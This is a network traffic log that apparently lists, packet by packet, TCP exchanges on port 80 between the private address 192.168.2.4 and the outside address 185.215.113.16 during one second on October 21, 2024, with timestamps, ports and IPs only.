Oct 21, 2024 10:47:10.283413887 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.283435106 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.283442974 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.283478022 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.283502102 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.283611059 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.283622980 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.283632994 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.283668041 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.283679962 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.283791065 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.283812046 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.283821106 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.283845901 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.283858061 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.283895969 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.283905983 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.283915043 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.283926964 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.283936024 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.283960104 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.283984900 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.283992052 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.284002066 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.284096956 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.284213066 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.284224033 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.284234047 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.284269094 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.284296036 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.284372091 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.284383059 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.284392118 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.284404039 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.284411907 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.284430981 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.284446955 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.284605026 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.284615993 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.284625053 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.284661055 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.284661055 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.284672976 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.284674883 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.284686089 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.284694910 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.284718990 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.284753084 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.285011053 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.285021067 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.285031080 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.285041094 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.285067081 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.285096884 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.285152912 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.285171986 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.285181046 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.285207033 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.285229921 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.285258055 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.285268068 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.285294056 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.285304070 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.285315037 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.285341024 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.369009972 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.369031906 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.369043112 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.369072914 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.369111061 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.369183064 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.432092905 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.432109118 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.432121038 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.432161093 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.432192087 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.433461905 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.433533907 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.433537006 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.433547974 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.433557987 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.433625937 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.433763027 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.433780909 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.433794022 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.433804035 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.434222937 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.434242964 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.434252024 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.434459925 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.434472084 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.434482098 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.434499025 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.434511900 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.434578896 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.434592009 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.434602976 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.435580969 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.435600996 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.435612917 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.435621977 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.435635090 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.435647011 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.435762882 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.435775042 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.435785055 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.435796022 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.435807943 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.436182022 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.436292887 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.436304092 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.436321974 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.436331034 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.436342001 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.436551094 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.436567068 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.436578989 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.436589003 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.436599970 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.436611891 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.437097073 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.437107086 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.437187910 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.437230110 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.437278032 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.437280893 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.437316895 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.437346935 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.437367916 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.437932014 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.437951088 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.437963963 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.437990904 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.438045025 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.438055038 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.438139915 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.438148975 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.438184977 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.438215971 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.438359976 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.438373089 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.438421965 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.438424110 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.438433886 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.438446045 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.438560963 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.439393044 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.439435005 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.439456940 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.439466953 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.439476967 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.440725088 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.440735102 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.440746069 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.440757036 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.440768957 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.440972090 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.442059040 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.442069054 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.442197084 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.442209005 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.442219019 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.448034048 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.678925037 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.678966045 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.679132938 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.742072105 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.742101908 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.742113113 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.742122889 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.742257118 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.743289948 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743381977 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743398905 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743411064 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743422985 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743433952 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743447065 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743465900 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743472099 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.743478060 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743489027 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743499994 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743509054 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743519068 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743520975 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.743530989 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743551970 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743554115 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.743571043 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743583918 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743593931 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743598938 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.743606091 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743617058 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743627071 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743629932 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.743655920 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.743680000 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.743705034 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743716955 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743726015 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743736029 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743746996 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743757010 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743766069 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743777037 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743787050 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743798018 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743809938 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743820906 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743856907 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.743889093 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743894100 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.743907928 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743920088 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743932962 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743943930 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743966103 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743983984 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743994951 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.743994951 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.744016886 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744026899 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.744028091 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744040012 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744050026 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744060993 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744061947 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.744081974 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744093895 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744101048 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744108915 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.744112015 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744123936 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744136095 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744147062 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744154930 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.744158030 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744170904 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744180918 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744191885 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744201899 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744211912 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744230986 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744241953 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744251013 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744260073 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.744262934 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744291067 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744292974 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.744306087 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744316101 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744338036 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744348049 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744357109 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744384050 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744395971 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744405985 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744415998 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744426966 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744437933 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744447947 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744458914 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744469881 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744481087 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744491100 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744501114 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744512081 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744523048 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744533062 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744544029 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744561911 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744574070 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.744580030 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744590998 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744601965 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744611979 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744616985 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.744626045 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744643927 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744645119 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.744656086 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744666100 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744673967 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.744676113 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744694948 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744707108 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744715929 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744729042 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744740009 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744791031 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744801998 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744807959 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744831085 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744842052 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.744843006 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744849920 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744854927 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744865894 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744874001 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.744883060 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744893074 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744913101 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.744941950 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.744977951 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744988918 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.744997978 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.745008945 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.745019913 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.745038986 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.745079041 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.745101929 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.745114088 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.745131016 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.745141029 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.745151043 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.745156050 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.745162964 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.745182037 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.745192051 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.745198965 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.745209932 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.745223999 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.745224953 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.745242119 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.745253086 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.745263100 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.745275021 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.745290041 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.745340109 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.745759010 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.745769978 CEST	80	49855	185.215.113.16	192.168.2.4
